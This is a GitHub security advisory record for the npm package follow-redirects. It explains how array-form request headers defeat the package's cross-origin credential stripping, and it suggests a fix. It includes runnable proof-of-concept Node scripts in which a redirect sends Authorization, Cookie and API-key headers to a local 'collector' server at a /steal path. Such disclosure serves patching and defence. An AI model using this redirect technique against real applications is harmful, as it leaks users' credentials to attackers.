{"id":"GHSA-q3jh-wrc6-jgq8","summary":"follow-redirects array-form headers bypass cross-origin credential stripping","details":"### Summary\nfollow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `\"0\"`, `\"1\"`, `\"2\"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.\n\n### Details\nThe cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n  var lastValue;\n  for (var header in headers) {          // for...in over an ARRAY yields \"0\",\"1\",\"2\"...\n    if (regex.test(header)) {            // the header-name filter never matches a numeric index\n      lastValue = headers[header];\n      delete headers[header];\n    }\n  }\n  return (lastValue === null || typeof lastValue === \"undefined\") ?\n    undefined : String(lastValue).trim();\n}\n```\n\nIt is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:\n\n- `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol.\n- `index.js:470` - strip the `Host` header (`/^host$/i`).\n- `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET.\n\nThe caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched.\n\nNode's `http.request` accepts `options.headers` as an alternating array of names and values (for example `[\"Authorization\", \"Bearer ...\", \"Cookie\", \"session=...\"]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `\"0\"`, `\"1\"`, `\"2\"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops:\n\n- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.\n- Any `sensitiveHeaders` the caller declared are forwarded too.\n- The stale `Host` of the previous origin is re-sent to the new origin.\n- On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body.\n\nThe primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause.\n\nRoot-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0.\n\nSuggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n  if (Array.isArray(headers)) {\n    var lastValue;\n    for (var i = 0; i \u003c headers.length; i += 2) {\n      if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }\n    }\n    return (lastValue === null || typeof lastValue === \"undefined\") ? undefined : String(lastValue).trim();\n  }\n  // existing object logic\n}\n```\n\nApply the same guard to the `Host` and `content-*` removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option)\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nPrecondition check (Node accepts and serializes array-form headers):\n```\nnode -e 'var http=require(\"http\");var s=http.createServer((q,r)=\u003er.end(JSON.stringify(q.headers)));s.listen(0,\"127.0.0.1\",()=\u003e{var p=s.address().port;http.request({hostname:\"127.0.0.1\",port:p,headers:[\"Authorization\",\"Bearer T\",\"Cookie\",\"c=1\"]},res=\u003e{var b=\"\";res.on(\"data\",c=\u003eb+=c);res.on(\"end\",()=\u003e{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'\n```\nObserved: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered).\n\nMinimal form (built-in credential list), `arrayleak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:47302/steal\" });   // cross-origin (different port)\n  res.end();\n});\nvar collector = http.createServer(function (req, res) {\n  res.end(JSON.stringify(req.headers));                                // attacker-controlled target\n});\nredirector.listen(47301, \"127.0.0.1\", function () {\n  collector.listen(47302, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 47301, path: \"/\", method: \"GET\",\n      headers: [\n        \"Host\", \"127.0.0.1:47301\",\n        \"Authorization\", \"Bearer ARRAY-FORM-VICTIM-TOKEN\",\n        \"Cookie\", \"session=ARRAY-FORM-SESSION-ID\",\n        \"X-Custom\", \"harmless\"\n      ]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie        :\", h.cookie || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0 and 1.15.11):\n```\nAuthorization : Bearer ARRAY-FORM-VICTIM-TOKEN     \u003c- credential LEAKED cross-origin\nCookie        : session=ARRAY-FORM-SESSION-ID      \u003c- credential LEAKED cross-origin\n```\nControl: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it.\n\nCombined form (built-in list plus the 1.16.0 `sensitiveHeaders` fix, all defeated in one request), `combined.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:47402/steal\" });\n  res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(47401, \"127.0.0.1\", function () {\n  collector.listen(47402, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 47401, path: \"/\", method: \"GET\",\n      headers: [\n        \"Host\", \"127.0.0.1:47401\",\n        \"Authorization\", \"Bearer BUILTIN-VICTIM-TOKEN\",\n        \"Cookie\", \"session=BUILTIN-SESSION-ID\",\n        \"X-API-Key\", \"DECLARED-VICTIM-KEY\"\n      ],\n      sensitiveHeaders: [\"X-API-Key\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization (built-in list) :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie (built-in list)        :\", h.cookie || \"(stripped - OK)\");\n        console.log(\"X-API-Key (sensitiveHeaders)  :\", h[\"x-api-key\"] || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0):\n```\nAuthorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN     \u003c- LEAKED\nCookie (built-in list)        : session=BUILTIN-SESSION-ID      \u003c- LEAKED\nX-API-Key (sensitiveHeaders)  : DECLARED-VICTIM-KEY             \u003c- LEAKED (the CVE-2026-40895 fix defeated)\n```\n\nProtocol-downgrade branch (credentials transit in cleartext), `downgrade.js`, using the repository's own test certificate at `test/assets/`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\"); var https = require(\"https\"); var fs = require(\"fs\");\nvar opts = { key: fs.readFileSync(\"test/assets/localhost.key\"), cert: fs.readFileSync(\"test/assets/localhost.crt\") };\nvar ca = fs.readFileSync(\"test/assets/ca.crt\");\nvar httpsOrigin = https.createServer(opts, function (req, res) {\n  req.resume(); res.writeHead(302, { Location: \"http://localhost:47502/steal\" }); res.end();\n});\nvar httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nhttpsOrigin.listen(47501, \"localhost\", function () {\n  httpCollector.listen(47502, \"localhost\", function () {\n    followRedirects.https.request({\n      hostname: \"localhost\", port: 47501, path: \"/\", method: \"GET\", ca: ca,\n      headers: [\"Host\", \"localhost:47501\", \"Authorization\", \"Bearer DOWNGRADE-TOKEN\", \"Cookie\", \"session=DOWNGRADE-SESSION\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie        :\", h.cookie || \"(stripped - OK)\");\n        httpsOrigin.close(); httpCollector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination.\n\nSide-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale `Host` of the first origin and `Content-Length: 13` despite an empty body.\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the `sensitiveHeaders` option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.","aliases":["CVE-2026-111756"],"modified":"2026-10-20T18:15:04.527852751Z","published":"2026-10-20T17:58:04Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-20T17:58:04Z","nvd_published_at":null,"cwe_ids":["CWE-200","CWE-212"]},"references":[{"type":"WEB","url":"https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-q3jh-wrc6-jgq8"},{"type":"WEB","url":"https://github.com/follow-redirects/follow-redirects/commit/9865ca45490e4d0f7b6944870318408344570aff"},{"type":"PACKAGE","url":"https://github.com/follow-redirects/follow-redirects"},{"type":"WEB","url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.1"}],"affected":[{"package":{"name":"follow-redirects","ecosystem":"npm","purl":"pkg:npm/follow-redirects"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.16.0"},{"fixed":"1.16.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-q3jh-wrc6-jgq8/GHSA-q3jh-wrc6-jgq8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}